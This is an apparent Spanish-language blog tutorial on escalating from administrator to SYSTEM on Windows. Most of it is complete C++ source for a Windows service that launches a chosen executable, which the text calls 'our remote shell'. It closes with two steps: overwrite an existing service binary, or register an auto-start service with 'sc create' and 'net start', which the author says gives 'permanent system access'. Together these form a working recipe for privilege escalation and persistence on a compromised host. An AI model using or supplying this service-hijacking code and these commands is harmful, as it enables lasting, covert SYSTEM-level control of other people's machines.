Escalar privilegios desde administrator a system en windows

¡Hola! En ocasiones, aun teniendo privilegios de «administrator» para ciertas operaciones se requiere tener privilegios «system», ¿Como podemos conseguir escalar privilegios? Una de las formas es bastante sencilla y se puede hacer de dos formas:

En ambos casos hay que crear un fichero ejecutable de servicio de windows que llame a nuestra «remote shell», se puede hacer con este código C++, sustituyendo en la costante DAEMON_EXE_NAME el valor «C:\\EXECUTABLE_FILE_PATH.exe» por la ruta del fichero a ejecutar y cambiando el nombre del servicio en NAME_IN_SERVICES poniendo el nombre que queramos que tenga el servicio y en MY_SERVICE_DESC su descripción:

// Windows Service main application
// Add your code where necessary to create your own windows service application.

#include <windows.h>
#include <stdio.h>
#include <stdlib.h>


// Replace with your own
#define NAME_IN_SERVICES TEXT("MyService")
#define MY_SERVICE_DESC TEXT("Service description")
#define DAEMON_EXE_NAME "C:\\EXECUTABLE_FILE_PATH.exe"

// Some global vars
SERVICE_STATUS          gStatus;
SERVICE_STATUS_HANDLE   gStatusHandle;
HANDLE                  ghStopEvent = NULL;

void InstallService() {
  SC_HANDLE hSCMgr;
  SC_HANDLE hService;
  TCHAR ExeAddr[MAX_PATH];
  SERVICE_DESCRIPTION sd;
  LPTSTR Desc = MY_SERVICE_DESC;

  if (! GetModuleFileName(NULL, ExeAddr, MAX_PATH)) {
    printf("Cannot install service.\n");
    return;
  }

  hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  if (hSCMgr == NULL) {
    printf("OpenSCManager failed\n");
    return;
  }

  hService = CreateService(hSCMgr, NAME_IN_SERVICES, NAME_IN_SERVICES, SERVICE_ALL_ACCESS,
                           SERVICE_WIN32_OWN_PROCESS, SERVICE_AUTO_START, SERVICE_ERROR_NORMAL,
                           ExeAddr, NULL, NULL, NULL, NULL, NULL);

  if (hService == NULL) {
    printf("CreateService failed (%s)\n", ExeAddr);
    CloseServiceHandle(hSCMgr);
    return;
  }
  else
    printf("Service successfully installed.\nExecutable: %s\n", ExeAddr);

  // Now, to change its description
  sd.lpDescription = Desc;
  if (! ChangeServiceConfig2(hService, SERVICE_CONFIG_DESCRIPTION, &sd))
    printf("ChangeServiceConfig2 failed.\n");

  CloseServiceHandle(hService);
  CloseServiceHandle(hSCMgr);
}

void UninstallService() {
  SC_HANDLE hSCMgr;
  SC_HANDLE hService;

  hSCMgr = OpenSCManager(NULL, NULL, SC_MANAGER_ALL_ACCESS);
  if (NULL == hSCMgr) {
    printf("OpenSCManager failed\n");
    return;
  }

  hService = OpenService(hSCMgr, NAME_IN_SERVICES, DELETE);
  if (hService == NULL) {
    printf("OpenService failed\n");
    CloseServiceHandle(hSCMgr);
    return;
  }

  if (! DeleteService(hService))
    printf("Fallo DeleteService (%d)\n", (int) GetLastError());
  else
    printf("Service uninstalled successfully.\nYou must restart windows for changes to take effect.\n");

  CloseServiceHandle(hService);
  CloseServiceHandle(hSCMgr);
}

void MySetServiceStatus( DWORD State, DWORD ExitCode, DWORD Wait ) {
  gStatus.dwCurrentState = State;
  gStatus.dwWin32ExitCode = ExitCode;
  gStatus.dwWaitHint = Wait;

  if (State == SERVICE_START_PENDING)
    gStatus.dwControlsAccepted = 0;
  else
    gStatus.dwControlsAccepted = SERVICE_ACCEPT_STOP;

  SetServiceStatus(gStatusHandle, &gStatus);
}

void WINAPI CtrlHandler( DWORD CtrlCmd ) {
  switch (CtrlCmd) {
    case SERVICE_CONTROL_STOP:
      MySetServiceStatus(SERVICE_STOP_PENDING, NO_ERROR, 0);
      // Add here the necessary code to stop the daemon
      SetEvent(ghStopEvent);
      break;

    case SERVICE_CONTROL_INTERROGATE:
      // Add here the necessary code to query the daemon
      break;
  }

  MySetServiceStatus(gStatus.dwCurrentState, NO_ERROR, 0);
}

int Run( char * Command ) {
  STARTUPINFO si;
  PROCESS_INFORMATION pi;

  si.cb = sizeof(STARTUPINFO);
  si.lpReserved = NULL;
  si.lpDesktop = NULL;
  si.lpTitle = 0;
  si.dwX = si.dwY = si.dwXSize = si.dwYSize =
  si.dwXCountChars = si.dwYCountChars = si.dwFlags = 0;
  si.wShowWindow = SW_NORMAL;
  si.lpReserved2 = NULL;
  si.cbReserved2 = 0;
  si.hStdInput = si.hStdOutput = si.hStdError = 0;

  return CreateProcess(0, Command, 0, 0, 1, 0, 0, 0, &si, & pi);
}

void InitService() {
  // printf in this function will not work when running from SCM

  gStatusHandle = RegisterServiceCtrlHandler(NAME_IN_SERVICES, CtrlHandler);
  if (! gStatusHandle) {
    int e;

    e = GetLastError();
    if (e == ERROR_INVALID_NAME)
      printf("RegisterServiceCtrlHandler failed (ERROR_INVALID_NAME)\n");
    else if (e == ERROR_SERVICE_DOES_NOT_EXIST)
      printf("RegisterServiceCtrlHandler failed (ERROR_SERVICE_DOES_NOT_EXIST)\n");
    else
      printf("RegisterServiceCtrlHandler failed (%d)\n", (int) e);

    return;
  }

  gStatus.dwServiceType = SERVICE_WIN32;
  gStatus.dwServiceSpecificExitCode = 0;
  MySetServiceStatus( SERVICE_START_PENDING, NO_ERROR, 3000 );

  // HERE put your daemon initialization code
  // if it takes too long to start, call MySetServiceStatus() with
  // SERVICE_START_PENDING periodically.
  // If initialization fails, call MySetServiceStatus with SERVICE_STOPPED.

  // The following is a generic code. Replace with your own.
  Run(DAEMON_EXE_NAME);
  // end of daemon initialization

  MySetServiceStatus(SERVICE_RUNNING, NO_ERROR, 0);
  ghStopEvent = CreateEvent(NULL, TRUE, FALSE, NULL);
  if (ghStopEvent == NULL) {
    MySetServiceStatus( SERVICE_STOPPED, NO_ERROR, 0 );
    printf("CreateEvent failed.\n");
    return;
  }

  WaitForSingleObject(ghStopEvent, INFINITE);
  MySetServiceStatus(SERVICE_STOPPED, NO_ERROR, 0);
}

SERVICE_TABLE_ENTRY DispatchTable[] = {
  { NAME_IN_SERVICES, (LPSERVICE_MAIN_FUNCTION) InitService },
  { NULL, NULL }
};

int main( int c, char * arg[] ) {
  if (c > 2) {
    printf("Usage: servicio [ install | uninstall ]\n");
    return 1;
  }

  if (c == 2 && ! stricmp(arg[1], "install")) {
    InstallService();
    return 0;
  }

  if (c == 2 && ! stricmp(arg[1], "uninstall")) {
    UninstallService();
    return 0;
  }

  if (! StartServiceCtrlDispatcher(DispatchTable))
    printf("StartServiceCtrlDispatcher failed\n");

  return 0;
}

Después como decía anteriormente, se puede hacer de dos formas:

  1. Sustituir el fichero de un ejecutable por el nuestro (cambiando el nombre del nuestro por el que se quiere sustituir)
  2. Se puede añadir un nuevo servicio (importante poner el arranque automático para que se inicie si se reinicia el equipo), se puede hacer con el siguiente comando:
sc create NOMBRE-DEL-SERVICIO binPath= "C:\\RUTA-DEL-EXE" start=auto
net start NOMBRE-DEL-SERVICIO

De esta forma tendríamos acceso system permanente a esta maquina

Deja una respuesta